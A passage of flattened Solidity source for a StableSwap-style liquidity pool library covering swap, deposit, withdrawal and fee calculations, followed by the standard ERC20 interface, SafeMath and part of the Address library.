.sub(newY) .div(self.tokenPrecisionMultipliers[tokenIndex]) .sub(dy); return (dy, dySwapFee); } /** * @notice Calculate the dy of withdrawing in one token * @param self Swap struct to read from * @param tokenIndex which token will be withdrawn * @param tokenAmount the amount to withdraw in the pools precision * @return the d and the new y after withdrawing one token */ function calculateWithdrawOneTokenDY( Swap storage self, uint8 tokenIndex, uint256 tokenAmount, uint256 totalSupply ) internal view returns ( uint256, uint256, uint256 ) { // Get the current D, then solve the stableswap invariant // y_i for D - tokenAmount uint256[] memory xp = _xp(self); require(tokenIndex < xp.length, "Token index out of range"); CalculateWithdrawOneTokenDYInfo memory v = CalculateWithdrawOneTokenDYInfo(0, 0, 0, 0, 0); v.preciseA = _getAPrecise(self); v.d0 = getD(xp, v.preciseA); v.d1 = v.d0.sub(tokenAmount.mul(v.d0).div(totalSupply)); require(tokenAmount <= xp[tokenIndex], "Withdraw exceeds available"); v.newY = getYD(v.preciseA, tokenIndex, xp, v.d1); uint256[] memory xpReduced = new uint256[](xp.length); v.feePerToken = _feePerToken(self.swapFee, xp.length); for (uint256 i = 0; i < xp.length; i++) { uint256 xpi = xp[i]; // if i == tokenIndex, dxExpected = xp[i] * d1 / d0 - newY // else dxExpected = xp[i] - (xp[i] * d1 / d0) // xpReduced[i] -= dxExpected * fee / FEE_DENOMINATOR xpReduced[i] = xpi.sub( ( (i == tokenIndex) ? xpi.mul(v.d1).div(v.d0).sub(v.newY) : xpi.sub(xpi.mul(v.d1).div(v.d0)) ).mul(v.feePerToken).div(FEE_DENOMINATOR) ); } uint256 dy = xpReduced[tokenIndex].sub( getYD(v.preciseA, tokenIndex, xpReduced, v.d1) ); dy = dy.sub(1).div(self.tokenPrecisionMultipliers[tokenIndex]); return (dy, v.newY, xp[tokenIndex]); } /** * @notice Calculate the price of a token in the pool with given * precision-adjusted balances and a particular D. * * @dev This is accomplished via solving the invariant iteratively. * See the StableSwap paper and Curve.fi implementation for further details. * * x_1**2 + x1 * (sum' - (A*n**n - 1) * D / (A * n**n)) = D ** (n + 1) / (n ** (2 * n) * prod' * A) * x_1**2 + b*x_1 = c * x_1 = (x_1**2 + c) / (2*x_1 + b) * * @param a the amplification coefficient * n * (n - 1). See the StableSwap paper for details. * @param tokenIndex Index of token we are calculating for. * @param xp a precision-adjusted set of pool balances. Array should be * the same cardinality as the pool. * @param d the stableswap invariant * @return the price of the token, in the same precision as in xp */ function getYD( uint256 a, uint8 tokenIndex, uint256[] memory xp, uint256 d ) internal pure returns (uint256) { uint256 numTokens = xp.length; require(tokenIndex < numTokens, "Token not found"); uint256 c = d; uint256 s; uint256 nA = a.mul(numTokens); for (uint256 i = 0; i < numTokens; i++) { if (i != tokenIndex) { s = s.add(xp[i]); c = c.mul(d).div(xp[i].mul(numTokens)); // If we were to protect the division loss we would have to keep the denominator separate // and divide at the end. However this leads to overflow with large numTokens or/and D. // c = c * D * D * D * ... overflow! } } c = c.mul(d).mul(AmplificationUtils.A_PRECISION).div(nA.mul(numTokens)); uint256 b = s.add(d.mul(AmplificationUtils.A_PRECISION).div(nA)); uint256 yPrev; uint256 y = d; for (uint256 i = 0; i < MAX_LOOP_LIMIT; i++) { yPrev = y; y = y.mul(y).add(c).div(y.mul(2).add(b).sub(d)); if (y.within1(yPrev)) { return y; } } revert("Approximation did not converge"); } /** * @notice Get D, the StableSwap invariant, based on a set of balances and a particular A. * @param xp a precision-adjusted set of pool balances. Array should be the same cardinality * as the pool. * @param a the amplification coefficient * n * (n - 1) in A_PRECISION. * See the StableSwap paper for details * @return the invariant, at the precision of the pool */ function getD(uint256[] memory xp, uint256 a) internal pure returns (uint256) { uint256 numTokens = xp.length; uint256 s; for (uint256 i = 0; i < numTokens; i++) { s = s.add(xp[i]); } if (s == 0) { return 0; } uint256 prevD; uint256 d = s; uint256 nA = a.mul(numTokens); for (uint256 i = 0; i < MAX_LOOP_LIMIT; i++) { uint256 dP = d; for (uint256 j = 0; j < numTokens; j++) { dP = dP.mul(d).div(xp[j].mul(numTokens)); // If we were to protect the division loss we would have to keep the denominator separate // and divide at the end. However this leads to overflow with large numTokens or/and D. // dP = dP * D * D * D * ... overflow! } prevD = d; d = nA .mul(s) .div(AmplificationUtils.A_PRECISION) .add(dP.mul(numTokens)) .mul(d) .div( nA .sub(AmplificationUtils.A_PRECISION) .mul(d) .div(AmplificationUtils.A_PRECISION) .add(numTokens.add(1).mul(dP)) ); if (d.within1(prevD)) { return d; } } // Convergence should occur in 4 loops or less. If this is reached, there may be something wrong // with the pool. If this were to occur repeatedly, LPs should withdraw via `removeLiquidity()` // function which does not rely on D. revert("D does not converge"); } /** * @notice Given a set of balances and precision multipliers, return the * precision-adjusted balances. * * @param balances an array of token balances, in their native precisions. * These should generally correspond with pooled tokens. * * @param precisionMultipliers an array of multipliers, corresponding to * the amounts in the balances array. When multiplied together they * should yield amounts at the pool's precision. * * @return an array of amounts "scaled" to the pool's precision */ function _xp( uint256[] memory balances, uint256[] memory precisionMultipliers ) internal pure returns (uint256[] memory) { uint256 numTokens = balances.length; require( numTokens == precisionMultipliers.length, "Balances must match multipliers" ); uint256[] memory xp = new uint256[](numTokens); for (uint256 i = 0; i < numTokens; i++) { xp[i] = balances[i].mul(precisionMultipliers[i]); } return xp; } /** * @notice Return the precision-adjusted balances of all tokens in the pool * @param self Swap struct to read from * @return the pool balances "scaled" to the pool's precision, allowing * them to be more easily compared. */ function _xp(Swap storage self) internal view returns (uint256[] memory) { return _xp(self.balances, self.tokenPrecisionMultipliers); } /** * @notice Get the virtual price, to help calculate profit * @param self Swap struct to read from * @return the virtual price, scaled to precision of POOL_PRECISION_DECIMALS */ function getVirtualPrice(Swap storage self) external view returns (uint256) { uint256 d = getD(_xp(self), _getAPrecise(self)); LPToken lpToken = self.lpToken; uint256 supply = lpToken.totalSupply(); if (supply > 0) { return d.mul(10**uint256(POOL_PRECISION_DECIMALS)).div(supply); } return 0; } /** * @notice Calculate the new balances of the tokens given the indexes of the token * that is swapped from (FROM) and the token that is swapped to (TO). * This function is used as a helper function to calculate how much TO token * the user should receive on swap. * * @param preciseA precise form of amplification coefficient * @param tokenIndexFrom index of FROM token * @param tokenIndexTo index of TO token * @param x the new total amount of FROM token * @param xp balances of the tokens in the pool * @return the amount of TO token that should remain in the pool */ function getY( uint256 preciseA, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 x, uint256[] memory xp ) internal pure returns (uint256) { uint256 numTokens = xp.length; require( tokenIndexFrom != tokenIndexTo, "Can't compare token to itself" ); require( tokenIndexFrom < numTokens && tokenIndexTo < numTokens, "Tokens must be in pool" ); uint256 d = getD(xp, preciseA); uint256 c = d; uint256 s; uint256 nA = numTokens.mul(preciseA); uint256 _x; for (uint256 i = 0; i < numTokens; i++) { if (i == tokenIndexFrom) { _x = x; } else if (i != tokenIndexTo) { _x = xp[i]; } else { continue; } s = s.add(_x); c = c.mul(d).div(_x.mul(numTokens)); // If we were to protect the division loss we would have to keep the denominator separate // and divide at the end. However this leads to overflow with large numTokens or/and D. // c = c * D * D * D * ... overflow! } c = c.mul(d).mul(AmplificationUtils.A_PRECISION).div(nA.mul(numTokens)); uint256 b = s.add(d.mul(AmplificationUtils.A_PRECISION).div(nA)); uint256 yPrev; uint256 y = d; // iterative approximation for (uint256 i = 0; i < MAX_LOOP_LIMIT; i++) { yPrev = y; y = y.mul(y).add(c).div(y.mul(2).add(b).sub(d)); if (y.within1(yPrev)) { return y; } } revert("Approximation did not converge"); } /** * @notice Externally calculates a swap between two tokens. * @param self Swap struct to read from * @param tokenIndexFrom the token to sell * @param tokenIndexTo the token to buy * @param dx the number of tokens to sell. If the token charges a fee on transfers, * use the amount that gets transferred after the fee. * @return dy the number of tokens the user will get */ function calculateSwap( Swap storage self, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view returns (uint256 dy) { (dy, ) = _calculateSwap( self, tokenIndexFrom, tokenIndexTo, dx, self.balances ); } /** * @notice Internally calculates a swap between two tokens. * * @dev The caller is expected to transfer the actual amounts (dx and dy) * using the token contracts. * * @param self Swap struct to read from * @param tokenIndexFrom the token to sell * @param tokenIndexTo the token to buy * @param dx the number of tokens to sell. If the token charges a fee on transfers, * use the amount that gets transferred after the fee. * @return dy the number of tokens the user will get * @return dyFee the associated fee */ function _calculateSwap( Swap storage self, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256[] memory balances ) internal view returns (uint256 dy, uint256 dyFee) { uint256[] memory multipliers = self.tokenPrecisionMultipliers; uint256[] memory xp = _xp(balances, multipliers); require( tokenIndexFrom < xp.length && tokenIndexTo < xp.length, "Token index out of range" ); uint256 x = dx.mul(multipliers[tokenIndexFrom]).add(xp[tokenIndexFrom]); uint256 y = getY( _getAPrecise(self), tokenIndexFrom, tokenIndexTo, x, xp ); dy = xp[tokenIndexTo].sub(y).sub(1); dyFee = dy.mul(self.swapFee).div(FEE_DENOMINATOR); dy = dy.sub(dyFee).div(multipliers[tokenIndexTo]); } /** * @notice A simple method to calculate amount of each underlying * tokens that is returned upon burning given amount of * LP tokens * * @param amount the amount of LP tokens that would to be burned on * withdrawal * @return array of amounts of tokens user will receive */ function calculateRemoveLiquidity(Swap storage self, uint256 amount) external view returns (uint256[] memory) { return _calculateRemoveLiquidity( self.balances, amount, self.lpToken.totalSupply() ); } function _calculateRemoveLiquidity( uint256[] memory balances, uint256 amount, uint256 totalSupply ) internal pure returns (uint256[] memory) { require(amount <= totalSupply, "Cannot exceed total supply"); uint256[] memory amounts = new uint256[](balances.length); for (uint256 i = 0; i < balances.length; i++) { amounts[i] = balances[i].mul(amount).div(totalSupply); } return amounts; } /** * @notice A simple method to calculate prices from deposits or * withdrawals, excluding fees but including slippage. This is * helpful as an input into the various "min" parameters on calls * to fight front-running * * @dev This shouldn't be used outside frontends for user estimates. * * @param self Swap struct to read from * @param amounts an array of token amounts to deposit or withdrawal, * corresponding to pooledTokens. The amount should be in each * pooled token's native precision. If a token charges a fee on transfers, * use the amount that gets transferred after the fee. * @param deposit whether this is a deposit or a withdrawal * @return if deposit was true, total amount of lp token that will be minted and if * deposit was false, total amount of lp token that will be burned */ function calculateTokenAmount( Swap storage self, uint256[] calldata amounts, bool deposit ) external view returns (uint256) { uint256 a = _getAPrecise(self); uint256[] memory balances = self.balances; uint256[] memory multipliers = self.tokenPrecisionMultipliers; uint256 d0 = getD(_xp(balances, multipliers), a); for (uint256 i = 0; i < balances.length; i++) { if (deposit) { balances[i] = balances[i].add(amounts[i]); } else { balances[i] = balances[i].sub( amounts[i], "Cannot withdraw more than available" ); } } uint256 d1 = getD(_xp(balances, multipliers), a); uint256 totalSupply = self.lpToken.totalSupply(); if (deposit) { return d1.sub(d0).mul(totalSupply).div(d0); } else { return d0.sub(d1).mul(totalSupply).div(d0); } } /** * @notice return accumulated amount of admin fees of the token with given index * @param self Swap struct to read from * @param index Index of the pooled token * @return admin balance in the token's precision */ function getAdminBalance(Swap storage self, uint256 index) external view returns (uint256) { require(index < self.pooledTokens.length, "Token index out of range"); return self.pooledTokens[index].balanceOf(address(this)).sub( self.balances[index] ); } /** * @notice internal helper function to calculate fee per token multiplier used in * swap fee calculations * @param swapFee swap fee for the tokens * @param numTokens number of tokens pooled */ function _feePerToken(uint256 swapFee, uint256 numTokens) internal pure returns (uint256) { return swapFee.mul(numTokens).div(numTokens.sub(1).mul(4)); } /*** STATE MODIFYING FUNCTIONS ***/ /** * @notice swap two tokens in the pool * @param self Swap struct to read from and write to * @param tokenIndexFrom the token the user wants to sell * @param tokenIndexTo the token the user wants to buy * @param dx the amount of tokens the user wants to sell * @param minDy the min amount the user would like to receive, or revert. * @return amount of token user received on swap */ function swap( Swap storage self, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy ) external returns (uint256) { { IERC20 tokenFrom = self.pooledTokens[tokenIndexFrom]; require( dx <= tokenFrom.balanceOf(msg.sender), "Cannot swap more than you own" ); // Transfer tokens first to see if a fee was charged on transfer uint256 beforeBalance = tokenFrom.balanceOf(address(this)); tokenFrom.safeTransferFrom(msg.sender, address(this), dx); // Use the actual transferred amount for AMM math dx = tokenFrom.balanceOf(address(this)).sub(beforeBalance); } uint256 dy; uint256 dyFee; uint256[] memory balances = self.balances; (dy, dyFee) = _calculateSwap( self, tokenIndexFrom, tokenIndexTo, dx, balances ); require(dy >= minDy, "Swap didn't result in min tokens"); uint256 dyAdminFee = dyFee.mul(self.adminFee).div(FEE_DENOMINATOR).div( self.tokenPrecisionMultipliers[tokenIndexTo] ); self.balances[tokenIndexFrom] = balances[tokenIndexFrom].add(dx); self.balances[tokenIndexTo] = balances[tokenIndexTo].sub(dy).sub( dyAdminFee ); self.pooledTokens[tokenIndexTo].safeTransfer(msg.sender, dy); emit TokenSwap(msg.sender, dx, dy, tokenIndexFrom, tokenIndexTo); return dy; } /** * @notice Add liquidity to the pool * @param self Swap struct to read from and write to * @param amounts the amounts of each token to add, in their native precision * @param minToMint the minimum LP tokens adding this amount of liquidity * should mint, otherwise revert. Handy for front-running mitigation * allowed addresses. If the pool is not in the guarded launch phase, this parameter will be ignored. * @return amount of LP token user received */ function addLiquidity( Swap storage self, uint256[] memory amounts, uint256 minToMint ) external returns (uint256) { IERC20[] memory pooledTokens = self.pooledTokens; require( amounts.length == pooledTokens.length, "Amounts must match pooled tokens" ); // current state ManageLiquidityInfo memory v = ManageLiquidityInfo( 0, 0, 0, _getAPrecise(self), self.lpToken, 0, self.balances, self.tokenPrecisionMultipliers ); v.totalSupply = v.lpToken.totalSupply(); if (v.totalSupply != 0) { v.d0 = getD(_xp(v.balances, v.multipliers), v.preciseA); } uint256[] memory newBalances = new uint256[](pooledTokens.length); for (uint256 i = 0; i < pooledTokens.length; i++) { require( v.totalSupply != 0 || amounts[i] > 0, "Must supply all tokens in pool" ); // Transfer tokens first to see if a fee was charged on transfer if (amounts[i] != 0) { uint256 beforeBalance = pooledTokens[i].balanceOf( address(this) ); pooledTokens[i].safeTransferFrom( msg.sender, address(this), amounts[i] ); // Update the amounts[] with actual transfer amount amounts[i] = pooledTokens[i].balanceOf(address(this)).sub( beforeBalance ); } newBalances[i] = v.balances[i].add(amounts[i]); } // invariant after change v.d1 = getD(_xp(newBalances, v.multipliers), v.preciseA); require(v.d1 > v.d0, "D should increase"); // updated to reflect fees and calculate the user's LP tokens v.d2 = v.d1; uint256[] memory fees = new uint256[](pooledTokens.length); if (v.totalSupply != 0) { uint256 feePerToken = _feePerToken( self.swapFee, pooledTokens.length ); for (uint256 i = 0; i < pooledTokens.length; i++) { uint256 idealBalance = v.d1.mul(v.balances[i]).div(v.d0); fees[i] = feePerToken .mul(idealBalance.difference(newBalances[i])) .div(FEE_DENOMINATOR); self.balances[i] = newBalances[i].sub( fees[i].mul(self.adminFee).div(FEE_DENOMINATOR) ); newBalances[i] = newBalances[i].sub(fees[i]); } v.d2 = getD(_xp(newBalances, v.multipliers), v.preciseA); } else { // the initial depositor doesn't pay fees self.balances = newBalances; } uint256 toMint; if (v.totalSupply == 0) { toMint = v.d1; } else { toMint = v.d2.sub(v.d0).mul(v.totalSupply).div(v.d0); } require(toMint >= minToMint, "Couldn't mint min requested"); // mint the user's LP tokens v.lpToken.mint(msg.sender, toMint); emit AddLiquidity( msg.sender, amounts, fees, v.d1, v.totalSupply.add(toMint) ); return toMint; } /** * @notice Burn LP tokens to remove liquidity from the pool. * @dev Liquidity can always be removed, even when the pool is paused. * @param self Swap struct to read from and write to * @param amount the amount of LP tokens to burn * @param minAmounts the minimum amounts of each token in the pool * acceptable for this burn. Useful as a front-running mitigation * @return amounts of tokens the user received */ function removeLiquidity( Swap storage self, uint256 amount, uint256[] calldata minAmounts ) external returns (uint256[] memory) { LPToken lpToken = self.lpToken; IERC20[] memory pooledTokens = self.pooledTokens; require(amount <= lpToken.balanceOf(msg.sender), ">LP.balanceOf"); require( minAmounts.length == pooledTokens.length, "minAmounts must match poolTokens" ); uint256[] memory balances = self.balances; uint256 totalSupply = lpToken.totalSupply(); uint256[] memory amounts = _calculateRemoveLiquidity( balances, amount, totalSupply ); for (uint256 i = 0; i < amounts.length; i++) { require(amounts[i] >= minAmounts[i], "amounts[i] < minAmounts[i]"); self.balances[i] = balances[i].sub(amounts[i]); pooledTokens[i].safeTransfer(msg.sender, amounts[i]); } lpToken.burnFrom(msg.sender, amount); emit RemoveLiquidity(msg.sender, amounts, totalSupply.sub(amount)); return amounts; } /** * @notice Remove liquidity from the pool all in one token. * @param self Swap struct to read from and write to * @param tokenAmount the amount of the lp tokens to burn * @param tokenIndex the index of the token you want to receive * @param minAmount the minimum amount to withdraw, otherwise revert * @return amount chosen token that user received */ function removeLiquidityOneToken( Swap storage self, uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount ) external returns (uint256) { LPToken lpToken = self.lpToken; IERC20[] memory pooledTokens = self.pooledTokens; require(tokenAmount <= lpToken.balanceOf(msg.sender), ">LP.balanceOf"); require(tokenIndex < pooledTokens.length, "Token not found"); uint256 totalSupply = lpToken.totalSupply(); (uint256 dy, uint256 dyFee) = _calculateWithdrawOneToken( self, tokenAmount, tokenIndex, totalSupply ); require(dy >= minAmount, "dy < minAmount"); self.balances[tokenIndex] = self.balances[tokenIndex].sub( dy.add(dyFee.mul(self.adminFee).div(FEE_DENOMINATOR)) ); lpToken.burnFrom(msg.sender, tokenAmount); pooledTokens[tokenIndex].safeTransfer(msg.sender, dy); emit RemoveLiquidityOne( msg.sender, tokenAmount, totalSupply, tokenIndex, dy ); return dy; } /** * @notice Remove liquidity from the pool, weighted differently than the * pool's current balances. * * @param self Swap struct to read from and write to * @param amounts how much of each token to withdraw * @param maxBurnAmount the max LP token provider is willing to pay to * remove liquidity. Useful as a front-running mitigation. * @return actual amount of LP tokens burned in the withdrawal */ function removeLiquidityImbalance( Swap storage self, uint256[] memory amounts, uint256 maxBurnAmount ) public returns (uint256) { ManageLiquidityInfo memory v = ManageLiquidityInfo( 0, 0, 0, _getAPrecise(self), self.lpToken, 0, self.balances, self.tokenPrecisionMultipliers ); v.totalSupply = v.lpToken.totalSupply(); IERC20[] memory pooledTokens = self.pooledTokens; require( amounts.length == pooledTokens.length, "Amounts should match pool tokens" ); require( maxBurnAmount <= v.lpToken.balanceOf(msg.sender) && maxBurnAmount != 0, ">LP.balanceOf" ); uint256 feePerToken = _feePerToken(self.swapFee, pooledTokens.length); uint256[] memory fees = new uint256[](pooledTokens.length); { uint256[] memory balances1 = new uint256[](pooledTokens.length); v.d0 = getD(_xp(v.balances, v.multipliers), v.preciseA); for (uint256 i = 0; i < pooledTokens.length; i++) { balances1[i] = v.balances[i].sub( amounts[i], "Cannot withdraw more than available" ); } v.d1 = getD(_xp(balances1, v.multipliers), v.preciseA); for (uint256 i = 0; i < pooledTokens.length; i++) { uint256 idealBalance = v.d1.mul(v.balances[i]).div(v.d0); uint256 difference = idealBalance.difference(balances1[i]); fees[i] = feePerToken.mul(difference).div(FEE_DENOMINATOR); self.balances[i] = balances1[i].sub( fees[i].mul(self.adminFee).div(FEE_DENOMINATOR) ); balances1[i] = balances1[i].sub(fees[i]); } v.d2 = getD(_xp(balances1, v.multipliers), v.preciseA); } uint256 tokenAmount = v.d0.sub(v.d2).mul(v.totalSupply).div(v.d0); require(tokenAmount != 0, "Burnt amount cannot be zero"); tokenAmount = tokenAmount.add(1); require(tokenAmount <= maxBurnAmount, "tokenAmount > maxBurnAmount"); v.lpToken.burnFrom(msg.sender, tokenAmount); for (uint256 i = 0; i < pooledTokens.length; i++) { pooledTokens[i].safeTransfer(msg.sender, amounts[i]); } emit RemoveLiquidityImbalance( msg.sender, amounts, fees, v.d1, v.totalSupply.sub(tokenAmount) ); return tokenAmount; } /** * @notice withdraw all admin fees to a given address * @param self Swap struct to withdraw fees from * @param to Address to send the fees to */ function withdrawAdminFees(Swap storage self, address to) external { IERC20[] memory pooledTokens = self.pooledTokens; for (uint256 i = 0; i < pooledTokens.length; i++) { IERC20 token = pooledTokens[i]; uint256 balance = token.balanceOf(address(this)).sub( self.balances[i] ); if (balance != 0) { token.safeTransfer(to, balance); } } } /** * @notice Sets the admin fee * @dev adminFee cannot be higher than 100% of the swap fee * @param self Swap struct to update * @param newAdminFee new admin fee to be applied on future transactions */ function setAdminFee(Swap storage self, uint256 newAdminFee) external { require(newAdminFee <= MAX_ADMIN_FEE, "Fee is too high"); self.adminFee = newAdminFee; emit NewAdminFee(newAdminFee); } /** * @notice update the swap fee * @dev fee cannot be higher than 1% of each swap * @param self Swap struct to update * @param newSwapFee new swap fee to be applied on future transactions */ function setSwapFee(Swap storage self, uint256 newSwapFee) external { require(newSwapFee <= MAX_SWAP_FEE, "Fee is too high"); self.swapFee = newSwapFee; emit NewSwapFee(newSwapFee); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since 